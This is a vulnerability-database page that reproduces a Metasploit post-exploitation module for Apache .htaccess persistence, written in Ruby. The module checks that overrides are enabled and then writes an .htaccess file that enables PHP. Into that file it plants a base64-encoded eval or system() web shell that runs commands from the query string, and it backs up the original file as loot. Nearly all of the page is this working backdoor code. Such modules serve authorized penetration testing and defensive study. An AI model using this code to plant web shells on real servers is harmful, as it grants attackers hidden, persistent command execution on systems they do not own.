Lucene search
K

Apache .htaccess Persistence

🗓️ 03 Jul 2026 19:01:49Reported by wireghoul, msutovsky-r7, 4ravind-bType 
metasploit
 metasploit
🔗 www.rapid7.com👁 34 Views

Apache htaccess persistence module writes payload to htaccess via gateway interface to run query commands.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Process
  include Msf::Post::Unix
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache .htaccess Persistence',
        'Description' => %q{
          This module writes a persistence payload into an Apache
          .htaccess file using mod_cgi. The .htaccess file itself
          acts as a CGI shell, executing commands passed via the
          query string. Inspired by the htshells project by wireghoul.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'wireghoul', # htshells project
          'msutovsky-r7', # msf module
          '4ravind-b' # msf module
        ],
        'Platform' => ['php', 'linux'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ],
          [
            'Linux command',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://github.com/wireghoul/htshells'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION]
        ],
        'DisclosureDate' => '1995-12-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('HTACCESS_PATH', [true, 'The absolute path to .htaccess file', '/var/www/'])
    ])
  end

  def htaccess_path
    return @htaccess_path if @htaccess_path

    @htaccess_path = "#{datastore['HTACCESS_PATH']}/.htaccess"
    @htaccess_path
  end

  def get_payload
    return %<eval(base64_decode("#{Base64.strict_encode64(payload.encoded)}"))> if target.name == 'PHP'

    %<system("#{payload.encoded}")>
  end

  def check
    process_list = get_processes
    return CheckCode::Safe('Apache not found') unless process_list.any? { |p| p['name'].include?('apache') }

    apache_config = read_file('/etc/apache2/apache2.conf')
    htaccess_enabled = false

    Pathname.new(datastore['HTACCESS_PATH']).ascend do |path|
      next unless apache_config =~ %r{<Directory #{path.to_s.gsub('/', '\/')}/?>\n([\s\w \n]+)</Directory>}

      if ::Regexp.last_match(1).include?('AllowOverride All')
        htaccess_enabled = true
        break
      end
    end

    return CheckCode::Safe('The .htaccess override is not enabled for given directory') unless htaccess_enabled

    return CheckCode::Safe("#{htaccess_path} is not writable") if exists?(htaccess_path) && !writable?(htaccess_path)

    CheckCode::Appears('Apache is running and .htaccess is writable')
  end

  def install_persistence
    fail_with(Failure::NotVulnerable, 'The PHP might not be enabled on the server') unless create_process('apache2ctl', args: ['-M']).include?('php')

    # Backup original .htaccess to loot
    if exists?(htaccess_path)
      print_status("Backing up #{htaccess_path} to loot...")
      original = read_file(htaccess_path)
      backup = store_loot(
        'htaccess.backup',
        'text/plain',
        session,
        original,
        '.htaccess',
        'Original .htaccess backup'
      )
      print_good("Backup saved to: #{backup}")
      @clean_up_rc = "upload #{backup} #{htaccess_path}\n"
    end

    htaccess_payload = %(
<Files ~ "^\.ht">
  Require all granted
</Files>

php_flag engine on
SetHandler application/x-httpd-php

###### SHELL ###### <?php #{get_payload} ?>
      )

    print_status("Writing payload to #{htaccess_path}")
    fail_with(Failure::PayloadFailed, "Cannot write to #{htaccess_path}") unless write_file(htaccess_path, htaccess_payload)
    chmod(htaccess_path, 0o755)

    print_good('Payload written.')
    print_status('Persistence is now available at .htaccess on target webserver')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2026 19:01Current
6Medium risk
Vulners AI Score6
34